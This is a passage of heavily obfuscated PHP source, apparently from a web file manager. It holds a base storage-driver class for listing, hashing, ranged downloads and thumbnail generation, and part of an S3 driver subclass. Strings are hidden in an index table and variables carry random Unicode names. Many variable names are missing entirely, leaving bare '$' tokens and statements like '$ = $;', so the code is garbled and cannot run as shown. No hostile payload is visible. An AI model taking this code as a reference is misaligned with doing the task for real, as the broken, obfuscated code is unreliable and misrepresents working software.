$՟χ[8] . $; $єր = $this->exist($ྰ); return $єր ? $ྰ : !1; } public function setModifyTime($눜, $Ҵ = '') { } public function renameObject($粛, $) { $ = $; $粛 = $this->getPathOuter($粛); $ = $this->pathFather($粛) . $; $ݾ = IO::copy($粛, $this->pathFather($粛), REPEAT_RENAME_FOLDER, $); if ($ݾ) { IO::remove($粛); } return $ݾ ? $ : !1; } public function tempFile($ԊƟ = '', $ڤƧ = '') { if (!$ԊƟ) { $ԊƟ = rand_string(15); } $ = TEMP_FILES . rand_string(15) . $_SERVER[՟][8]; @mkdir($, DEFAULT_PERRMISSIONS, !0); $ = $ . $ԊƟ; @touch($); if ($ڤƧ) { file_put_contents($, $ڤƧ); } return $; } public function tempFileRemve($ɩ) { @unlink($ɩ); @rmdir($this->pathFather($ɩ)); } public function mkfile($, $ئ = '', $ʍ = REPEAT_RENAME) { } public function mkdir($ͮ, $ = REPEAT_SKIP) { } public function delFile($ϵ) { } public function delFolder($֝) { } public function copyFile($, $ӛ) { } public function moveFile($, $) { } public function remove($ԙ) { if ($this->isFile($ԙ)) { return $this->delFile($ԙ); } return $this->delFolder($ԙ); } public function rename($忽, $) { } public function exist($遼Ǥ) { } public function findByHash($ = '', $¶ɐ = '') { return !1; } public function isFile($⭄) { } public function isFolder($) { } public function size($ܤ) { } public function info($ۢ) { } public function infoSimple($) { return $this->info($); } public function infoAuth($ߵ) { return $this->info($ߵ); } public function infoFull($ȀҨ) { return $this->info($ȀҨ); } public function infoFullSimple($뎯) { return $this->info($뎯); } public function infoWithChildren($) { $Þ =& $_SERVER[՟]; static $ = array(); if (isset($[$])) { return $[$]; } $ = $this->info($); if ($ && $[$Þ[33]] == $Þ[88]) { $ı = array($Þ[89] => 0, $Þ[90] => 0, $Þ[91] => 0); $this->infoChildren($, $ı); $[$Þ[89]] = $ı[$Þ[89]]; $[$Þ[92]] = array($Þ[93] => $ı[$Þ[90]], $Þ[94] => $ı[$Þ[91]]); $[$] = $; } return $; } public function listPath($ʈ, $Đ = false) { } public function has($¡, $ = false, $˭ = false) { } public function canRead($) { } public function canWrite($) { } public function getContent($ڧ) { } public function setContent($, $놵ї = '') { } protected function infoChildren($ю, &$) { $ =& $_SERVER[՟]; check_abort_echo(); $˰ = $this->listPath($ю, !0); $˰ = array_merge($˰[$[95]], $˰[$[96]]); foreach ($˰ as $禔) { if ($禔[$[33]] == $[88]) { $[$[91]]++; $ = $this->getPathInner($禔[$[97]]); $this->infoChildren($, $); } else { $[$[90]]++; $[$[89]] += $禔[$[89]]; } } } public function fileSubstr($կ, $ͩڟ, $ijߗ) { } public function listAll($) { } public function listAllMake($լ, &$) { $֟ =& $_SERVER[՟]; check_abort_echo(); $Ï = $this->listPath($լ, !0); if (!$Ï) { return; } $ = array_merge($Ï[$֟[95]], $Ï[$֟[96]]); foreach ($ as $ë) { $ܕ = $ë[$֟[33]] == $֟[88]; $ = array($֟[97] => $ë[$֟[97]], $֟[88] => $ܕ); if (isset($ë[$֟[89]])) { $[$֟[89]] = $ë[$֟[89]]; } if (isset($ë[$֟[98]])) { $[$֟[98]] = $ë[$֟[98]]; } if (!$ܕ) { $[] = $; continue; } $[] = $; $Ա = $ë[$֟[97]]; $۰ = $this->pathDriver; if (substr($ë[$֟[97]], 0, strlen($۰)) == $۰) { $Ա = substr($Ա, strlen($۰)); } $this->listAllMake($Ա, $); } } public function listAllSimple($, $̷ = false) { $Ӊ = $this->listAll($); return $this->listAllSimpleMake($Ӊ, $this->getPathOuter($), $̷); } public function listAllSimpleMake($䐣, $ȑ, $) { $鍹 =& $_SERVER[՟]; $ = array(); $ȑ = rtrim(get_path_father($ȑ), $鍹[8]) . $鍹[8]; foreach ($䐣 as $ߗ) { $ĺ = array($鍹[97] => $ߗ[$鍹[97]], $鍹[99] => $ߗ[$鍹[97]], $鍹[88] => $ߗ[$鍹[88]]); if (isset($ߗ[$鍹[89]]) && !$ߗ[$鍹[88]]) { $ĺ[$鍹[89]] = $ߗ[$鍹[89]]; } if (isset($ߗ[$鍹[98]])) { $ĺ[$鍹[98]] = $ߗ[$鍹[98]]; } if (is_array($ߗ[$鍹[100]])) { $ĺ[$鍹[99]] = $ߗ[$鍹[100]][$鍹[97]]; $ĺ[$鍹[89]] = $ߗ[$鍹[100]][$鍹[89]]; $ĺ[$鍹[98]] = $ߗ[$鍹[100]][$鍹[98]]; } else { if (substr($ߗ[$鍹[97]], 0, strlen($ȑ)) == $ȑ) { $ĺ[$鍹[97]] = substr($ߗ[$鍹[97]], strlen($ȑ)); } } $ = $ߗ[$鍹[88]] ? $鍹[8] : $鍹[12]; $ĺ[$鍹[99]] = rtrim($ĺ[$鍹[99]], $鍹[8]) . $; $ĺ[$鍹[97]] = $鍹[8] . trim($ĺ[$鍹[97]], $鍹[8]) . $; if (!$) { $ꎻ = explode($鍹[8], trim($ĺ[$鍹[97]], $鍹[8])); $ĺ[$鍹[97]] = $鍹[8] . implode($鍹[8], array_slice($ꎻ, 1)) . $; } $[] = $ĺ; } return array_sort_by($, $鍹[97]); } public function upload($, $ޯ, $ = false, $ϣ = REPEAT_REPLACE) { } public function uploadFileByID($מ, $Ǖ, $Ă) { } public function uploadFileByPath($, $θ, $ѫǕ = array()) { } public function isUploadServer() { $ =& $_SERVER[՟]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $[101]) { return !0; } return $GLOBALS[$[6]][$[102]][$[103]]; } public function isFileOutServer() { $ =& $_SERVER[՟]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $[101]) { return !0; } return $GLOBALS[$[6]][$[102]][$[104]]; } public function isCdnHost() { if ($this->isFileOutServer() || empty($this->cdnHost)) { return !1; } return request_url_safe($this->cdnHost) ? !0 : !1; } public function getCdnLink($ŝ) { $ =& $_SERVER[՟]; if (!$this->isCdnHost()) { return $ŝ; } return str_replace(trim(get_url_root($ŝ), $[8]), trim($this->cdnHost, $[8]), $ŝ); } public function uploadLink($ī܆݄, $ = 0) { $੭ =& $_SERVER[՟]; if ($this->isUploadServer()) { return; } $ = $this->getType(); if (!in_array($, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ = 1024 * 1024 * 10; $ = $ <= $ ? $੭[105] : $੭[106]; $۳я = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ʟ = $this->{$}($ī܆݄, $۳я); if ($ʟ) { $ʟ[$੭[107]] = $ī܆݄; $ʟ[$੭[108]] = $; } return $ʟ; } public function uploadFormData($ۤ, $ = 3600) { } public function multiUploadFormData($, $؊虉 = 3600) { } public function download($ߌ˳, $) { } public function ext($¯) { $¼ =& $_SERVER[՟]; if (strpos($¯, $¼[8]) === -1) { $檢 = $¯; } else { $檢 = $this->pathThis($¯); } $ጆ = $¼[12]; if (strstr($檢, $¼[10])) { $ጆ = substr($檢, strrpos($檢, $¼[10]) + 1); $ጆ = strtolower($ጆ); } if (strlen($ጆ) > 3 && preg_match($¼[109], $ጆ, $)) { $ጆ = $¼[12]; } return $ጆ; } public function pathThis($Ƥ) { $ =& $_SERVER[՟]; $Ƥ = str_replace($[110], $[8], rtrim($Ƥ, $[8])); $ʳ = strrpos($Ƥ, $[8]); if ($ʳ === !1) { return $Ƥ; } return substr($Ƥ, $ʳ + 1); } public function pathFather($ğ) { $̨ =& $_SERVER[՟]; $ğ = str_replace($̨[110], $̨[8], rtrim($ğ, $̨[8])); $ = strrpos($ğ, $̨[8]); if ($ === !1) { return $̨[12]; } return substr($ğ, 0, $ + 1); } public function hashSimple($) { $قߟ =& $_SERVER[՟]; if (!$) { return md5($قߟ[12]); } $ = $this->size($); $ʸ = 200; $Լ = 50; if ($ <= $ʸ * $Լ) { return $this->hashMd5($) . $; } $ǩ = intval($ / $Լ); $ө = $قߟ[12]; for ($Ն = 0; $Ն < $Լ; $Ն++) { $ө .= $this->fileSubstr($, $ǩ * $Ն, $ʸ); } $ө .= $this->fileSubstr($, $ - $ʸ, $ʸ); return md5($ө) . $; } public static $md5Cache = array(); public function hashMd5($Ք) { if (!$Ք) { return md5($_SERVER[՟][12]); } $Ք = $this->iconvSystem($Ք); if (isset(self::$md5Cache[$Ք])) { return self::$md5Cache[$Ք]; } self::$md5Cache[$Ք] = $this->hashMd5Shell($Ք); if (!self::$md5Cache[$Ք]) { self::$md5Cache[$Ք] = @md5_file($Ք); } return self::$md5Cache[$Ք]; } private function hashMd5Shell($連) { $ =& $_SERVER[՟]; if (!$連) { return md5($[12]); } if (!function_exists($[111])) { return !1; } $̙ = array($[112], $[113]); $ȫ = Cache::get($[114]); if (!$ȫ) { $Ȱܠ = BASIC_PATH . $[115]; $ = md5_file($Ȱܠ); $ȫ = $[116]; foreach ($̙ as $ୁ) { $ = shell_exec($ୁ . "\40\42{$Ȱܠ}\x22"); if ($ && substr(trim($), 0, 32) == $) { $ȫ = $ୁ; break; } } Cache::set($[114], $ȫ, 3600); } if ($ȫ == $[116]) { return !1; } $ = shell_exec($ȫ . "\40\x22{$連}\42"); $ = str_replace($[117], $[12], $); return substr($, 0, 32); } public function link($) { return $; } public function fileOut($, $ = false, $ = false, $鵫 = '') { $א =& $_SERVER[՟]; $this->cacheMethod(null, null); if (!$ || !$this->exist($)) { show_json(LNG($א[118]), !1, $); } $Þ = $this->getType() == $א[119]; $ = $GLOBALS[$א[6]][$א[102]][$א[120]][$א[121]]; $ = (double) $GLOBALS[$א[6]][$א[102]][$א[120]][$א[122]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $DŽ = $this->infoFull($); $̻։ = $DŽ[$א[89]]; $ = gmdate($א[123], $DŽ[$א[98]]); $ů = $ ? $ : $this->iconvApp($DŽ[$א[32]]); $ٳ = 0; $ = $̻։ - 1; $ = $this->ext($ů); if (in_array($, array($א[124], $א[125], $א[126], $א[127]))) { $ = $א[128]; } if (in_array($, array($א[129]))) { $ = $א[130]; } if (!$鵫) { $鵫 = md5($ . $̻։); } $鵫 = $א[131] . $鵫 . $א[131]; $߶ǡ = get_file_mime($); $ = !0; $ = isset($_GET[$א[132]]) ? !1 : !0; if ($ === !1 && !mime_support($߶ǡ)) { $߶ǡ = $א[133]; } header($א[134]); header($א[135] . $߶ǡ); $䔗 = rawurlencode($ů); $䔗 = $א[131] . $䔗 . $א[136] . $䔗; if ($) { header($א[137]); header($א[138] . $䔗); } else { if ($) { header($א[139] . $䔗); } } $ = 3600 * 24 * 30; header($א[140]); header($א[141]); header($א[142] . $); header($א[143] . gmdate($א[123], time() + $) . $א[144]); if (isset($_SERVER[$א[145]]) && strtotime($_SERVER[$א[145]]) == $DŽ[$א[98]]) { header($א[146], !0, 304); die; } if (isset($_SERVER[$א[147]]) && $_SERVER[$א[147]] == $鵫) { header($א[148] . $鵫, !0, 304); die; } header($א[148] . $鵫); header($א[149] . $ . $א[144]); header($א[150] . $ů); header($א[151]); header($א[152] . $̻։); header($א[153]); Hook::trigger($א[154], $, $̻։, $ů, $); if (!$ && $ == $א[155]) { if ($̻։ > 1024 * 1024 * 5) { die; } $ = $this->getContent($); $ = Html::clearSVG($); header($א[156] . strlen($)); echo $; die; } $ = strtolower($_SERVER[$א[157]]); if ($Þ && $ && $) { if (strstr($, $א[158])) { header($א[159] . $); } else { if (strstr($, $א[160])) { header($א[161] . $); } else { if (strstr($, $א[162])) { header($א[163] . $); } } } if ($) { header($א[164] . $); } return; } if (isset($_SERVER[$א[165]])) { if (preg_match($א[166], $_SERVER[$א[165]], $)) { $ٳ = intval($[1]); $ٳ = $ٳ <= 0 ? 0 : ($ٳ >= $ ? $ : $ٳ); if (!empty($[2])) { $ = intval($[2]); $ = $ < $ٳ ? $ٳ : ($ >= $ ? $ : $); } } header($א[167]); header("\103\157\x6e\164\145\x6e\164\x2d\x52\x61\156\147\x65\x3a\x20\142\x79\x74\x65\163\40{$ٳ}\55{$}\57" . $̻։); } else { header($א[168]); } header($א[169]); header($א[170]); $ = !0; if ($_SERVER[$א[171]] == $א[172] && $̻։ > 1204 * 1024 * 1024 * 2) { $ = !1; } if ($) { header($א[173] . ($ - $ٳ + 1)); } if ($_SERVER[$א[174]] == $א[175]) { return; } $ = array($א[176] => !1, $א[177] => $ٳ, $א[178] => $, $א[179] => $, $א[180] => $DŽ, $א[181] => $א[12], $א[182] => 0); $ = Hook::filter($א[183], $); $ = 1024 * 300; $ = 0; if ($) { $ = intval(1000 * 1000 * ($ / $)); } while ($ٳ <= $) { $ = timeFloat(); check_abort(); $ƥ = $ - $ٳ + 1; if ($ƥ <= $) { $ = $ƥ; } $ = $this->fileSubstr($, $ٳ, $); if ($[$א[176]]) { $[$א[181]] = $; $[$א[182]] = $ٳ; $ = Hook::filter($א[184], $); $ = $[$א[181]]; } echo $; $ٳ += $; if ($ == $ƥ) { $ٳ = $ + 1; } if ($) { $ʏ = intval(1000 * 1000 * (timeFloat() - $)); $鰰Ŷ = $ - $ʏ; if ($鰰Ŷ > 5) { usleep($鰰Ŷ); } } } } public function fileOutServer($܂, $Í = false, $ = false, $ᬹǴ = '') { $this->fileOut($܂, $Í, $, $ᬹǴ); } public function fileOutLink($Ɓ) { header($_SERVER[՟][185] . $Ɓ); die; } public function cacheMethod($, $ʲ, $ = null) { $ҁ =& $_SERVER[՟]; static $ = array(); $ = $ʲ ? ltrim($this->getPathOuter($ʲ), $ҁ[8]) : $ҁ[12]; $ = $ҁ[186] . $ . $ҁ[187] . rtrim($, $ҁ[8]); if (is_null($)) { $ = array(); return; } if (is_null($ʲ)) { foreach ($ as $ => $ߥڟ) { if (!strstr($, $ҁ[186] . $ . $ҁ[188])) { continue; } unset($[$]); } return; } if (!is_null($)) { $[$] = $; return; } $鈟 = isset($[$]) ? $[$] : null; if (!is_null($鈟)) { return $鈟; } $鈟 = $this->{$}($ʲ); $[$] = $鈟; return $鈟; } public function cacheMethodInfoSet($, $Ӯ, $Ȱے = false) { $ҫ =& $_SERVER[՟]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($ҫ[189], $, $Ӯ); $this->cacheMethod($ҫ[190], $, $Ӯ ? !1 : !0); if (is_array($Ȱے)) { $this->cacheMethod($ҫ[191], $, $Ȱے); } } public function fileOutImage($, $ = 250) { $՝ή =& $_SERVER[՟]; set_timeout(); if (substr($, 0, 4) == $՝ή[162]) { $this->fileOutLink($); } $չ = $this->info($); $ؖݪ = !1; $⋮ = isset($GLOBALS[$՝ή[192]]) ? $GLOBALS[$՝ή[192]] : array(); if ($⋮ && $⋮[$՝ή[193]] == $չ[$՝ή[97]]) { $չ = $⋮; $ = $չ[$՝ή[194]]; if ($ && isset($[$՝ή[195]])) { if ($[$՝ή[195]] <= $ && $[$՝ή[196]] <= $) { $ؖݪ = !0; } } } if ($չ[$՝ή[89]] <= 1024 * 50 || $ؖݪ || !function_exists($՝ή[197]) || $չ[$՝ή[179]] == $՝ή[198]) { return $this->fileOut($, !1, $չ[$՝ή[32]]); } $ = kodIO::hashPath($չ); $̙Ӎ = "\143\x6f\x76\145\x72\137{$}\x5f{$}\56\x70\156\147"; $ߪ = IO_PATH_SYSTEM_TEMP . $՝ή[199]; $ʨ = IO::infoFullSimple($ߪ); $ = $ʨ && is_array($ʨ) ? $ʨ[$՝ή[97]] : $՝ή[12]; if (!$) { $ = IO::mkdir($ߪ); } if ($չ[$՝ή[200]] == $՝ή[201] && isset($չ[$՝ή[202]]) && $չ[$՝ή[202]] == kodIO::sourceID($)) { $ = $չ[$՝ή[203]]; if ($ <= 500) { $ = preg_replace($՝ή[204], $՝ή[205], $չ[$՝ή[32]]); $ = IO::fileNameExist($, $); } return IO::fileOut(KodIO::make($), !1, $չ[$՝ή[32]]); } $۬ = IO::fileNameExist($, $̙Ӎ); if ($۬) { return IO::fileOut(KodIO::make($۬), !1, $չ[$՝ή[32]]); } if ($ > 1000) { $this->makeImageCover($, $, $̙Ӎ, $); $this->makeImageCover($, $, "\143\157\x76\x65\x72\137{$}\x5f\x32\x35\60\56\160\x6e\x67", 250); $۬ = IO::fileNameExist($, $̙Ӎ); if ($۬) { return IO::fileOut(KodIO::make($۬), !1, $չ[$՝ή[32]]); } die; } if (!kodIO::allowCover($չ)) { return $this->fileOut($, !1, $չ[$՝ή[32]]); } $ = Cache::get($̙Ӎ); if ($ == $՝ή[206] || $ == $՝ή[207]) { echo $; die; } Cache::set($̙Ӎ, $՝ή[207], 60); $̖ = array($, $չ[$՝ή[97]], $̙Ӎ, $); $ۻǒ = $՝ή[208] . $չ[$՝ή[89]] . $՝ή[209] . $̙Ӎ . $՝ή[210] . $չ[$՝ή[32]] . $՝ή[211] . $չ[$՝ή[97]]; TaskQueue::add($՝ή[212], $̖, $ۻǒ, $̙Ӎ); } public function makeImageCover($, $, $̰, $) { $ =& $_SERVER[՟]; if (IO::fileNameExist($, $̰)) { return $[213]; } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } if (!is_dir(TEMP_FILES)) { mk_dir(TEMP_FILES); } $ = DATA_THUMB . $̰; del_file($); $ = IO::copy($, TEMP_FILES, !1, $̰); if (!@file_exists($)) { return $[214]; } ImageThumb::createThumb($, $, $, $ * 10); if (@file_exists($)) { Cache::remove($̰); return IO::move($, $); } Cache::set($̰, $[206], 600); del_file($); return $[215] . $ . $[84]; } public function fileOutImageServer($, $ = 250) { $this->fileOutImage($, $); } public function fileNameAuto($, $, $ = REPEAT_RENAME, $ֹ = false) { $æ =& $_SERVER[՟]; $؎ = $ === $æ[12] ? $ : rtrim($, $æ[8]) . $æ[8] . $; if ($ == REPEAT_REPLACE || !$this->exist($؎) || $ֹ && $ != REPEAT_RENAME_FOLDER) { return $; } if ($ == REPEAT_SKIP) { return !1; } $ؒ = $æ[10] . get_path_ext($); $ؒ = $ؒ == $æ[10] || $ֹ ? $æ[12] : $ؒ; $˾ = 1; $Ӝ = substr($, 0, strlen($) - strlen($ؒ)); $Ȅѵ͛ = $Ӝ . "\x28{$˾}\x29{$ؒ}"; while ($this->exist(rtrim($, $æ[8]) . $æ[8] . $Ȅѵ͛)) { $Ȅѵ͛ = $Ӝ . "\x28{$˾}\51{$ؒ}"; $˾++; } return $Ȅѵ͛; } private function fileNameAutoList($ğ, $˙߈, $ߧ = false) { $ =& $_SERVER[՟]; $ᄂ = $this->listPath($ğ, !0); $ᄂ = array_merge($ᄂ[$[95]], $ᄂ[$[96]]); $䯆 = array_to_keyvalue($ᄂ, $[12], $[32]); $ퟃ = $[10] . get_path_ext($˙߈); $ퟃ = $ퟃ == $[10] || $ߧ ? $[12] : $ퟃ; $ = substr($˙߈, 0, strlen($˙߈) - strlen($ퟃ)); $ = $ . "\x28\x30\x29{$ퟃ}"; for ($ = 1; $ <= count($䯆) + 1; $++) { $ = $ . "\x28{$}\51{$ퟃ}"; if (!in_array_not_case($, $䯆)) { return $; } } return $; } public function listAllFiles($, $) { $ =& $_SERVER[՟]; if (empty($)) { return array(); } $Ѝ = array_keys($); $Òʵ = array(); $ = trim($, $[8]); foreach ($ as $ => $⁁) { $ރ = ltrim(substr(trim($, $[8]), strlen($)), $[8]); if (substr($, -1) == $[8]) { $ރ = rtrim($ރ, $[8]) . $[8]; } $Òʵ = array_merge($Òʵ, $this->slicePath($ރ)); } $ = array(); foreach (array_unique($Òʵ) as $) { $ب = array($[97] => $this->getPathOuter($[8] . $ . $[8] . $), $[88] => 1, $[89] => 0); if (substr($, -1) != $[8]) { $ب[$[88]] = 0; $ = $this->getPath($ . $[8] . $); if (isset($[$])) { $ = $[$]; if (isset($[$[89]])) { $ب[$[89]] = intval($[$[89]]); } if (isset($[$[216]])) { $ب[$[98]] = intval($[$[216]]); } } } $[] = $ب; } return $; } public function slicePath($ة) { $ =& $_SERVER[՟]; $Ǜ = explode($[8], trim($ة, $[8])); $ڋ = 0; do { ++$ڋ; $[] = implode($[8], array_slice($Ǜ, 0, $ڋ)) . $[8]; } while ($ڋ < count($Ǜ)); $[count($Ǜ) - 1] = $ة; return $; } public function getHost() { $ޢ =& $_SERVER[՟]; $ɜ = parse_url(trim($this->domain, $ޢ[8])); $ۓФ = isset($ɜ[$ޢ[217]]) ? $ɜ[$ޢ[217]] : http_type(); $áڜ = isset($ɜ[$ޢ[218]]) ? $ɜ[$ޢ[218]] : $ɜ[$ޢ[97]]; if (isset($ɜ[$ޢ[219]])) { $áڜ .= $ޢ[4] . $ɜ[$ޢ[219]]; } return $ۓФ . $ޢ[220] . $áڜ; } public function pathEncode($䭘) { $ =& $_SERVER[՟]; return str_replace($[221], $[8], rawurlencode($䭘)); } public function writeLog($ = '', $ƻ = false) { $ݸ =& $_SERVER[՟]; $̛ = in_array(ACTION, array($ݸ[222], $ݸ[223])); if (!$̛ && !GLOBAL_DEBUG) { return; } $瑴 = $; static $Ѽ֯ = null; if (!$Ѽ֯) { $Ѽ֯ = strtoupper($this->getType()); } $ = $Ѽ֯ . $ݸ[224] . $; if ($ƻ) { $냺 = error_get_last(); if ($냺) { $ = array($, $냺); } } write_log($, $ݸ[225]); if ($̛) { throw new Exception($瑴); } } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\166\x34"; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($̞) { set_timeout(); require_once SDK_DIR . $_SERVER[՟][226]; parent::__construct(); $this->_init($̞); } public function _init($ڃ) { $ =& $_SERVER[՟]; $this->config = $ڃ; foreach ($ڃ as $ݞ => $ؠ) { if (isset($this->{$ݞ})) { $this->{$ݞ} = $ؠ; } } $this->endpoint = $ڃ[$[227]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); if (in_array(ACTION, array($[222], $[223]))) { $this->client->setExceptions(); } } public function setSignVersion($ = "\166\x34") { $this->signVer = $; $this->client->setSignatureVersion($); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { try { return $this->client->getBucketCors($this->bucket); } catch (Exception $) { return null; } } public function isBucketCors() { $ѯ =& $_SERVER[՟]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if (!is_array($[$ѯ[228]])) { $[$ѯ[228]] = explode($ѯ[50], $[$ѯ[228]]); } if ($[$ѯ[229]] != $ѯ[230] || !in_array($ѯ[230], $[$ѯ[228]])) { return !1; } $ = array_map($ѯ[231], $[$ѯ[232]]); if (!is_array($)) { $ = array(); } $ץ = array($ѯ[233], $ѯ[234], $ѯ[235], $ѯ[236], $ѯ[237]); $ = array_diff($ץ, $); return empty($); } public function getBucketRgn() { return $this->client->getBucketRegion($this->bucket); } public function mkfile($܀ߑ, $Ȉ = '', $ȖѼ = REPEAT_RENAME) { $ح = $this->setContent($܀ߑ, $Ȉ); if ($ح !== !1) { return $this->getPathOuter($܀ߑ); } return !1; } public function mkdir($݅, $ = REPEAT_SKIP) { $ی =& $_SERVER[՟]; if (empty($݅) && $݅ !== $ی[238]) { return !1; } if ($ && $this->_isFolder($݅)) { return $this->getPathOuter($݅); } $Ô = $this->setContent($݅, $ی[12], !0); if ($Ô !== !1) { return $this->getPathOuter($݅); } return !1; } public function copyFile($, $, $⿵ = array()) { $ =& $_SERVER[՟]; $ = $this->objectMeta($); if (!$) { return !1; } if ($[$[89]] <= 1024 * 1024 * 200) { $ = $this->client->copyObject($this->bucket, $, $this->bucket, $, $[239], $⿵); } else { $ = $this->client->multiCopyObject($this->bucket, $, $this->bucket, $, $⿵); } $ = $ ? $this->getPathOuter($) : !1; return $; } public function moveFile($ߔۣӹ, $պ) { if ($this->copyFile($ߔۣӹ, $պ)) { $this->delFile($ߔۣӹ); return $this->getPathOuter($պ); } return !1; } public function delFile($) { return $this->client->deleteObject($this->bucket, $); } public function delFolder($) { $ן =& $_SERVER[՟]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ƫ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $ן[8]) . $ן[8]; if (!empty($) && $ !== $ן[238] && !in_array($, $ƫ[$ן[95]])) { $ƫ[$ן[95]][] = $; } $ = $this->delByBatch($ƫ[$ן[96]]); if (!$) { return !1; } $ = $this->delByBatch($ƫ[$ן[95]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($Ԟ҉) { foreach (array_chunk($Ԟ҉, 1000) as $ш) { $ݛ = $this->client->deleteObjects($this->bucket, $ш); if (!$ݛ) { return !1; } } return !0; } public function rename($Ȯ, $ʼ) { return $this->renameObject($Ȯ, $ʼ); } public function listPath($Ƞ, $Ȧ = false) { $ =& $_SERVER[՟]; $ = $this->fileList($Ƞ, $[8], !0); foreach ($[$[95]] as $ => $Ѯ) { $[$[95]][$] = $this->folderInfo($Ѯ, $Ȧ, $Ѯ); } foreach ($[$[96]] as $ => $Ѯ) { $[$[96]][$] = $this->fileInfo($Ѯ[$[32]], $Ȧ, $Ѯ); } return $; } protected function infoChildren($Ū, &$) { $싳 =& $_SERVER[՟]; $ = $this->fileList($Ū, $싳[12], !0); $[$싳[91]] += count($[$싳[95]]); $[$싳[90]] += count($[$싳[96]]); foreach ($[$싳[96]] as $ʓ) { if (!$ʓ || !$ʓ[$싳[89]]) { continue; } $[$싳[89]] += $ʓ[$싳[89]]; } } private function fileInfo($ؤ, $Ӳ = false, $滌 = array()) { $ɦ =& $_SERVER[՟]; $ɾ = array($ɦ[32] => $this->pathThis($ؤ), $ɦ[97] => $this->getPathOuter($ؤ), $ɦ[33] => $ɦ[240], $ɦ[179] => $this->ext($ؤ), $ɦ[89] => isset($滌[$ɦ[89]]) ? $滌[$ɦ[89]] : 0); if ($Ӳ) { return $ɾ; } $ɾ[$ɦ[241]] = $ɾ[$ɦ[98]] = 0; $ɾ[$ɦ[242]] = $ɾ[$ɦ[243]] = !0; if (empty($滌)) { $滌 = $this->objectMeta($ؤ); if (!$滌) { return $ɾ; } } if (isset($滌[$ɦ[244]]) && $滌[$ɦ[244]]) { $ɾ[$ɦ[245]] = $滌[$ɦ[244]]; } if (isset($滌[$ɦ[216]])) { $ɾ[$ɦ[98]] = $滌[$ɦ[216]]; } if (isset($滌[$ɦ[89]])) { $ɾ[$ɦ[89]] = $滌[$ɦ[89]]; } return $ɾ; } private function folderInfo($ӷ, $Ԋ = false, $͉ = array()) { $ =& $_SERVER[՟]; $н = array($[32] => $this->pathThis($ӷ), $[97] => $this->getPathOuter($[8] . $ӷ), $[33] => $[88]); if ($Ԋ) { return $н; } $н[$[241]] = $н[$[98]] = 0; $н[$[242]] = $н[$[243]] = !0; if ($ӷ == $[12]) { return $н; } if (empty($͉)) { $͉ = $this->objectMeta(trim($ӷ, $[8]) . $[8]); } if (isset($͉[$[216]])) { $н[$[241]] = $͉[$[216]]; } return $н; } private function fileList($ݶ, $ΰ = '', $ቡۖ = 0) { $ =& $_SERVER[՟]; $܄헕 = rtrim($ݶ, $[8]) . $[8]; $ = $this->listObjs($܄헕, null, null, $ΰ); if (!$) { return array($[95] => array(), $[96] => array()); } $飽 = $Ѷǒ = array(); foreach ($[$[246]] as $ܧܝ) { $л = $ܧܝ[$[32]]; if ($л == $܄헕) { continue; } $ = isset($ܧܝ[$[89]]) ? $ܧܝ[$[89]] : 0; $ = $ == 0 && substr($л, strlen($л) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($л, $, $ܧܝ); if ($) { $飽[] = $л; continue; } $Ѷǒ[] = $ቡۖ ? $ܧܝ : $л; } foreach ($[$[247]] as $ܧܝ) { $飽[] = $ܧܝ[$[32]]; $this->cacheMethodInfoSet($ܧܝ[$[32]], !0); } $this->cacheMethodInfoSet($ݶ, !0); return array($[95] => $飽, $[96] => $Ѷǒ); } private function listObjs($ˁ, $ = null, $ = null, $݀ = null) { $ =& $_SERVER[՟]; $ˁ = trim($ˁ, $[8]); $ = empty($ˁ) && $ˁ !== $[238] ? $[12] : $ˁ . $[8]; return $this->client->getBucket($this->bucket, $, $, $, $݀, !0); } public function has($, $ = false, $Н = true) { $ٽ =& $_SERVER[՟]; $ = trim($, $ٽ[8]); $٥ = empty($) && $ !== $ٽ[238] ? $ٽ[12] : $ . $ٽ[8]; $ = null; $͏ = 500; $ = $ٽ[8]; $ = $Ω = array(); while (!0) { $ݿƓ = $this->listObjs($, $, $͏, $); if (!$ݿƓ) { break; } $ = $ݿƓ[$ٽ[248]]; $ŏ = $ݿƓ[$ٽ[246]]; $ڑ = $ݿƓ[$ٽ[247]]; if (empty($ŏ) && empty($ڑ)) { break; } if (count($ŏ) == 1 && $ŏ[0][$ٽ[32]] == $٥) { break; } if ($) { if (count($ŏ)) { $ŏ = array_column($ŏ, $ٽ[32]); $ = array_merge($, $ŏ); } if (count($ڑ)) { $ڑ = array_column($ڑ, $ٽ[32]); $Ω = array_merge($Ω, $ڑ); } if ($ === null) { break; } continue; } if ($Н) { if (!empty($ŏ)) { if (count($ŏ) > 1 || isset($ŏ[0][$ٽ[32]]) && $ŏ[0][$ٽ[32]] != $٥) { return !0; } } } else { if (!empty($ڑ)) { return !0; } } if ($ === null) { break; } } if ($) { $ = array_diff($, array($٥)); $ = count(array_unique($)); $Ω = count(array_unique($Ω)); return array($ٽ[249] => $, $ٽ[250] => $Ω); } return !1; } public function listAll($˱) { $ =& $_SERVER[՟]; $ɇ = $this->fileList($˱, $[12], !0); $ = array_to_keyvalue($ɇ[$[96]], $[32]); foreach ($ɇ[$[95]] as $) { if (is_string($)) { $[$] = array($[89] => 0); } } return $this->listAllFiles($˱, $); } public function canRead($) { $ׯ =& $_SERVER[՟]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($ׯ[251], $ׯ[252], $ׯ[253])) ? !0 : !1; } public function canWrite($) { $ =& 